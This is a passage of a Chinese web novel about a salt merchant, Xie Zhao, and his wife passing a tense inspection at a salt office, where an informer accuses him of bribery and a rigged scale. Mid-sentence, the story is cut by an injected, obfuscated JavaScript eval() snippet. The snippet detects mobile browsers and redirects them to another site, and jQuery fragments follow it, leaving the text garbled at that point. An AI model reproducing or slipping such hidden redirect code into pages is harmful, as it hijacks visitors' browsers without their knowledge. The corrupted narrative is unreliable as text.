两人如同被掐住脖子的鸭子,声音戛然而止,连滚带爬地转过身。
见到招魂使般的谢昭立在月光下,顿时吓得魂飞魄散,舌头都打了结:
“姐、姐夫!”
“姐夫……您、您还没歇息啊?”
谢昭面色忽明忽暗,周身笼上阴森的气息:“你们刚刚说我什么?”
阿凡阿佳连连摆手:“没,没什么!”
谢昭冷冷道:“其他的随便你们怎么说,只是——”
“那件事,我郑重声明一下——我,谢昭,绝对没有问题,行得很。以后绝不许在外头传我的谣!”
阿凡和阿佳愣了一瞬,随即反应过来他指的是什么,忙不迭地点头如捣蒜,嘴上敷衍着:
“是是是,姐夫英明神武!”
“姐夫自然是最行的!”
看着他们这副明显不信却又不敢反驳的模样,谢昭心头一阵气闷,却也不好再与两个半大孩子计较这个。
他缓和语气道:“你们……常与你们表姐一处玩耍?她小时候,是什么模样?”
见气氛转暖,两人都松了口气。
阿凡抢先道:“表姐小时候可调皮了!带着我们爬树掏鸟窝,还把祖父最爱的锦鲤捞出来烤着吃!”
阿佳补充道:“有一次她女扮男装跑去书院捣蛋,被先生发现,追着她满院子跑,鞋子都跑掉了,还是光着脚回的家!”
谢昭听着,脑海中不禁浮现出一个古灵精怪、作天作地的小小身影,与他后来所识的那个果敢倔强的女子渐渐重合,唇角不自觉地微微上扬,露出一抹连自己都未察觉的温柔笑意。
“你们呢?”他看向眼前这两个尚且稚嫩的少年,“日后有何打算?总不能一直这样混着,靠借贷生活啊。”
阿凡挠挠头:“家里说……让我们跟着姐夫学做生意。”
谢昭摇摇头,神色是少见的认真与郑重:“听我一句,回去好好读书,争取考个功名,走正道,莫要再想着做生意了。”
两人不解地看着他。
谢昭望着漆黑江面上破碎的月光,沉声道:“来钱的生意,是刀尖舔血,一步踏错便是万劫不复。安稳的生意,根本不赚钱,终日劳碌也不过勉强糊口。”
他收回目光,告诫二人:“莫要像我这般,双脚踏不到陆地,性命交给天道同命运,心中永无宁静,更连累至亲至爱之人,因着牵挂一生不安。”
阿凡和阿佳似懂非懂,但见他神色肃然,也只能懵懵懂懂地点了点头。
又叮嘱了几句,谢昭才让他们回去歇息,自己却在甲板上又站了片刻,待江风吹散了心头些许郁结,才转身返回舱房。
舱内,李清白睡得并不安稳,眉头紧蹙,似乎陷入了什么不好的梦境。
他轻手轻脚地走过去,替她掖了掖被角。指尖刚触碰到锦被,便听她喃喃呓语:
“阿昭……你别走……”
他心尖酸胀,俯下身,在她耳边用极轻的声音安抚:
“嗯,不走。”
看着她眉头渐渐舒展,重新沉入安稳睡眠,谢昭坐在榻边,久久没有动弹。
舱外是茫茫夜色与无尽江水,舱内只有她清浅的呼吸声相伴。
这偷来的片刻宁静,让他那颗在风浪中飘摇的心,暂时得到了安定。
翌日晨,天光未大亮,一只矫健的海东青便破开晨雾,精准地落在谢昭伸出的臂鞲上。
他解下鹰爪上的细小竹管,迅速阅罢,仓促提笔回信。
又将竹管重新缚好,轻抚海东青的羽毛,那猛禽便振翅而起,很快消失在天际。
不多时,天空又开始飘起雨丝,不紧不慢地下了整整一日,将整个江面笼罩在烟雨朦胧之中。
第三日寅时,天色墨黑,零星灯火在雨中闪烁,仪真批验所的轮廓在黎明前的黑暗中逐渐清晰。
此时批验所前的江面已颇为热闹,大小盐船、货船簇拥等候,桅杆如林,船灯在水面上投下晃动的光影。
人声、水流声、摇橹声混杂在一起,在雨声中显得有些沉闷。商贾们或披着蓑衣立在船头张望,或挤在简陋的棚下低声交谈,空气中交织着焦灼与期待。
李清白一路握着谢昭的手,望着窗外密集的船只和严阵以待的官兵,手心不禁沁出冷汗。
谢昭与她十指相扣,低声道:“不必忧心。掣验官那边早已打点妥当,不过是走个过场。”
尽管谢昭语气笃定,李清白的心却依旧高悬,指尖在他手背微微发颤:“真的……万无一失吗?那些官兵必定查验极严……”
谢昭收紧与她交握的手:“放心,绝无问题。”
李清白勉强压下心头慌乱,脸色却依旧苍白。
她暗自盘算,若真有个万一,谢昭被当场拿住,她无论如何也要去找父亲和唐琰,哪怕跪下来求,也要求他们网开一面。
天色渐明,雨势稍歇。批验所沉重的朱漆大门在卯时初刻缓缓开启,执事人役鱼贯而出,各悬牌面,开始维持秩序。
谢昭松开她的手,随众盐商到南门内的仓巷,步入南掣厅报到,按章程领取底马编号,然后静候在厅外廊下,等待叫号。
另一边,他们的盐船凭南掣厅发放的文书,被缓缓放入木关,沿着指定航道,最终停泊到盐所东角门外的天池码头。
巨大的盐包堆积在船上,如同一座座沉默的小山,等待着决定命运的掣验。
李清白站在不远处为他们安排好的等候区,目光紧紧追随着谢昭挺拔却隐没在人群中的背影,只觉得每一息都无比漫长。
当官吏高声叫到谢昭的底马编号时,李清白的心险些蹦出了嗓子眼。
她几步上前,对那胥吏挤出笑脸:“官爷,民妇……民妇想随夫君一同进去。”
“妇人不得入内!此乃定规!”
她急忙从袖中摸出一块早已备好的银锭,飞快塞入胥吏手中,恳切道:“官爷行个方便,民妇绝不添乱。”
胥吏掂了掂银子,面色稍霁,侧身让开一条缝,小声道:“快些进去,莫要声张。”
李清白立即跟上谢昭,一同踏入气氛肃穆的南掣厅。
只见厅内,领筹人执大旗号令,脚夫们将二十包盐共作一行,整齐摆列。
执事人手持饱蘸黑烟灰的大笔,自第一号至第二十号,依次在盐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16612911|181932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
包上写下硕大的编号。
谢昭的目光在厅内扫了一通,先是落在主位那位面生的监掣官身上,又锁定他面前那个装着二十根绿头签的签筒,心中已然有数。
李清白却眼尖地发现,厅中一名负责记录的吏员,以及旁边监督的九名商人之二,这三人面孔极为眼熟,分明是她曾打过交道的锦衣卫!
她心中慌乱,背后瞬间冒出冷汗。
就在那监掣官准备伸手抽取决定检验哪一包盐的签子时,谢昭忽然上前一步,拱手道:
“大人,可否容草民内子代为抽签?妇道人家,不懂这些,今日非要来凑个热闹,也算讨个彩头。”
监掣官瞥了一眼紧张得脸色发白的李清白,竟未斥责,只微微颔首默许。
李清白惊惧交加,用只有两人能听到的声音急道:“阿昭,这签怎能让我抽?这……”
她心知无论抽到几号签,用以过称的盐包斤两必定远超定数,可这签若是由她来抽,无异于她亲手决定了谢昭的命运。
她会自责一生,即便非她之过。
谢昭却淡定得很:“你随便抽。”
李清白脸色由白转红:“阿昭,我瞧着有几个人不大对劲,趁现在还没开始掣验,不如我们找个借口走吧?”
谢昭五指坚定地嵌入她的指缝:“别怕,信我,不会有事。”
感受到他掌心传来的温度和力量,李清白深吸一口气,强迫自己镇定下来。
她走到签筒前,闭眼随手抽出一根绿签,交给一旁的胥吏。
“第七号!”胥吏高声唱喏。
脚夫们立刻将被抽中的第七号盐包合力扛至巨大的官秤下,小心翼翼地放上秤盘,调整秤砣,其余十九包盐则被迅速抬走。
所有人的目光,都聚焦在那缓缓趋于平衡的秤杆上。
李清白压根不敢去看秤杆,脑海中已闪过无数最坏的打算。
若谢昭当场被擒,她定会亮明身份阻拦。
然而,胥吏高声报出的斤两,却让她猛地抬起头。
“第七号盐包,净重二百零五斤!合引,无超!”
竟是分毫未超?
李清白愕然。
虽不明白谢昭究竟是如何做到的,紧绷的心弦骤然一松,她几乎要软倒下去,全靠谢昭扶撑。
就在她以为危机已过,监掣官也准备挥手放行之际,一名混在商人中的锦衣卫突然越众而出,高声喝道:
“大人!且慢!草民要举报谢昭贿赂盐课司、批验所官员,夹带私盐!”
厅内顿时一片哗然。
监掣官面色一沉:“公堂之上,不得喧哗!举报需有实据,你的证据何在?”
锦衣卫抬手直指那杆巨大的官秤,斩钉截铁道:“证据就是那秤砣!谢昭早已买通胥吏,暗中更换了秤砣!此秤所称斤两,比实际要轻上数十斤!他船上那些盐包,实际重量远超定数!”
此言一出,满厅皆惊,胥吏脚夫们皆面面相觑。
李清白叫苦不迭,下意识地看向谢昭,竟见他脸上惯有的从容消失了,比这糟糕的天气还要阴郁。
她的心,也随之猛地下坠。